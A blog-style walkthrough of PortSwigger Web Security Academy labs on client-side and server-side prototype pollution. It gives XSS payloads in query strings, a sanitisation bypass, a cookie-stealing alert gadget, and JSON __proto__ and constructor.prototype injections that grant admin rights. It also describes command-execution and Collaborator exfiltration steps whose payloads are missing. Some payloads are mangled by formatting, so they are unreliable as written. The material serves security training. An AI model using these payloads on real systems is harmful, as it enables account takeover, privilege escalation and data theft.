The article covers various topics related to prototype pollution from burp web academy, including client-side and server-side attacks, as well as methods for detecting and bypassing input filters. The table of contents includes:
In client-side JavaScript, this commonly leads to Dom XSS, while server-side prototype pollution can even result in remote code execution.
Server-side prototype pollution is a vulnerability that occurs when user input is not properly sanitized and is used to modify the prototype of an object on the server side. This can lead to arbitrary code execution, privilege escalation, and other attacks. For example, an attacker can inject a property into the global Object.prototype
that allows them to execute arbitrary system commands or delete sensitive files. To detect server-side prototype pollution, non-destructive techniques can be used to observe changes in the server’s behavior that are indicative of the vulnerability.
Notice : Some payload could not be typed and saved on medium editor, for complete command notes, please see my original post on Notion
https://chennyren.notion.site/Prototype-Pollution-d96d5d03b38f4b0881ed4f56f553a9c5
DOM XSS via client-side prototype pollution
Object.prototype
go to sources , searchLogger.js
- In
searchLogger.js
, notice that if theconfig
object has atransport_url
property, this is used to dynamically append a script to the DOM. - Notice that no
transport_url
property is defined for theconfig
object. This is a potential gadget for controlling thesrc
of the<script>
element.
modify the payload in url /?__proto__[transport_url]=data:,alert(1);
DOM XSS via an alternative prototype pollution vector
In your browser, try polluting Object.prototype
by injecting an arbitrary property via the query string: /?__proto__[foo]=bar
- Open the browser DevTools panel and go to the Console tab.
- Enter
Object.prototype
foo
property is not added
Try with an alternative string /?proto.foo=bar , successfully in
look for DOM XSS , analyze the code in searchLoggerAlternative.js
The function initializes two global properties: window.macros
(an empty object) and window.manager
(an object with a params
property and a macro
method). The params
property is created by parsing the URL query parameters, while the macro
method returns a property value from the macros
object, if it exists.
javascriptCopy code
window.macros = {};
window.manager = {
params: $.parseParams(new URL(location)),
macro(property) {
if (window.macros.hasOwnProperty(property))
return macros[property]
}
};
The function increments the manager.sequence
property by 1, defaulting to 1 if it doesn’t exist.
javascriptCopy code
let a = manager.sequence || 1;
manager.sequence = a + 1;
The function then uses eval
to execute a string containing JavaScript code. The string interpolates the manager.sequence
value into the code.
javascriptCopy code
eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');
If the manager.params
object exists and has a search
property, the function calls the logQuery
function with the /logger
path and the manager.params
object as arguments.
javascriptCopy code
if(manager.params && manager.params.search) {
await logQuery('/logger', manager.params);
}
The primary XSS vulnerability in this code is the use of the eval()
function, which can lead to the execution of malicious JavaScript code. The string passed to eval()
contains an interpolated value of manager.sequence
, which is derived from the URL query parameters. If an attacker can craft a URL with a malicious payload in the query parameters, they can potentially execute arbitrary code in the context of the user’s browser.
/?__proto__.sequence=alert(1)
since a numeric +1 is appended , change the payload to
Client-side prototype pollution via flawed sanitization
Pollution Prototype Vectors
/?__proto__.foo=bar
Pollution Prototype Vectors:
/?__proto__.foo=bar
/?**proto**[foo]=bar
/?constructor.prototype.foo=bar
Object.Prototype is not modified with the payload
Analyze the source
deparamSanitised.js is introduced to filter blocked characters
change the payload to avoid sanitization
/?__pro__proto__to__[transport_url]=data:,alert(1);
Client-side prototype pollution in third-party libraries
Using burpsuite DOM Invader
Enable Dom Invader and prototype pollution on burpsuite browser
scan for gadgets
a DOM prototype pollution is found , click exploit
/#proto[hitCallback]=alert%281%29
calls document.cookie
/#proto[hitCallback]=alert%28document.cookie%29
Look at the requirement of this challenge
- Use DOM Invader to identify a prototype pollution and a gadget for DOM XSS.
- Use the provided exploit server to deliver a payload to the victim that calls
alert(document.cookie)
in their browser.
make sure this payload could trigger document.cookie
Go to exploit server
create a payload that will deliver to the page
Document.cookie is triggered
Client-side prototype pollution via browser APIs
Requirement
- Find a source that you can use to add arbitrary properties to the global
Object.prototype
. - Identify a gadget property that allows you to execute arbitrary JavaScript.
- Combine these to call
alert()
.
Use manual or DOM invader solution
DOM Invader
Enable DOM invader and prototype pollution in settings
Inspect elements with devtools default
Scan for gadgets and exploit
/?__proto__[value]=data%3A%2Calert%281%29
Privilege escalation via server-side prototype pollution
Server-side prototype pollution
POST
or PUT
requests that submit JSON data to an application or API are prime candidates for this kind of behavior as it’s common for servers to respond with a JSON representation of the new or updated object. In this case, you could attempt to pollute the global Object.prototype
with an arbitrary property as follows:
POST /user/update HTTP/1.1
Host: vulnerable-website.com
...
{
"user":"wiener",
"firstName":"Peter",
"lastName":"Wiener",
"__proto__":{
"foo":"bar"
}
}
If the website is vulnerable, your injected property would then appear in the updated object in the response:
HTTP/1.1 200 OK
...
{
"username":"wiener",
"firstName":"Peter",
"lastName":"Wiener",
"foo":"bar"
}
Requirement :
- Find a prototype pollution source that you can use to add arbitrary properties to the global
Object.prototype
. - Identify a gadget property that you can use to escalate your privileges.
- Access the admin panel and delete the user
carlos
.
log in my account with following credentials
wiener:peter
hit submit while intercepting the request
data is sent to server via json
the isAdmin
property, which is currently set to false
In Repeater, add a new property to the JSON with the name __proto__
, containing an object with an arbitrary property:"__proto__": { "foo":"bar" }
it is injected
modify the request to pollute the prototype with isAdmin
(Remember to add a comma otherwise you will encounter parsing error)
The updated value of isAdmin
in the response implies that the object does not have its own property isAdmin
, but has inherited it from the polluted prototype.
"__proto__": {
"isAdmin":true
}
Then we are able to access the admin panel and delete carlos as required
Detecting server-side prototype pollution without polluted property reflection
To solve the lab, confirm the vulnerability by polluting Object.prototype
in a way that triggers a noticeable but non-destructive change in the server’s behavior. As this lab is designed to help you practice non-destructive detection techniques, you don’t need to progress to exploitation.
Inject
“proto“: { “foo”:”bar” }
Send the request. Observe that the object in the response does not reflect the injected property. However, this doesn’t necessarily mean that the application isn’t vulnerable to prototype pollution.
change the payload to inject status (between 400 and 599)
"__proto__": {
"status":555
}
remove a comma at the end of “sessionid” to cause parsing error , we can see the status code is injected
Bypassing flawed input filters for server-side prototype pollution
To solve the lab
- Find a prototype pollution source that you can use to add arbitrary properties to the global
Object.prototype
. - Identify a gadget property that you can use to escalate your privileges.
- Access the admin panel and delete the user
carlos
.
find the POST /my-account/change-address
request.
In Repeater, add a new property to the JSON with the name __proto__
, containing an object with a json spaces
property."__proto__": { "json spaces":10}
The response remains unaffected
Modify the request , constructor is injected
"constructor": {
"prototype": {
"json spaces":10
}
}
"constructor": {
"prototype": {
"isAdmin":true
}
}
And we can access admin panel
Remote code execution via server-side prototype pollution
To solve the lab:
- Find a prototype pollution source that you can use to add arbitrary properties to the global
Object.prototype
. - Identify a gadget that you can use to inject and execute arbitrary system commands.
- Trigger remote execution of a command that deletes the file
/home/carlos/morale.txt
inject in the request , and escalate to admin privilege as previous method
"__proto__": {
"isAdmin":true
}
Access admin panel , we are able to run maintenance jobs
Click the button and observe that this triggers background tasks that clean up the database and filesystem. This is a classic example of the kind of functionality that may spawn node child processes.
Intercept the request while clicking maintenance jobs
Try polluting the prototype with a malicious execArgv
property that adds the -eval
argument to the spawned child process. Use this to call the execSync()
sink, passing in a command that triggers
change the payload to delete file
Exfiltrating sensitive data via server-side prototype pollution
- Find a prototype pollution source that you can use to add arbitrary properties to the global
Object.prototype
. - Identify a gadget that you can use to inject and execute arbitrary system commands.
- Trigger remote execution of a command that leaks the contents of Carlos’s home directory (
/home/carlos
) to the public Burp Collaborator server. - Exfiltrate the contents of a secret file in this directory to the public Burp Collaborator server.
- Submit the secret you obtain from the file using the button provided in the lab banner.
First test the prototype pollution as previous method
go to account , change address , intercept the request
"__proto__": {
"json spaces":10
}
The json space is injected , which shows server side prototype pollution
Go to admin panel , run maintenance job . The job is failed to run , and we can see dns request from collaborator interactions
Go to the Collaborator tab and poll for interactions.
Notice that you have received a new HTTP POST
request with a Base64-encoded body.
Decode it with base64 , node_apps and secret
CSWdhWo9yuB66tZDwN2SiUKmAsJRz7SW
From the request in collaborator, we see the secret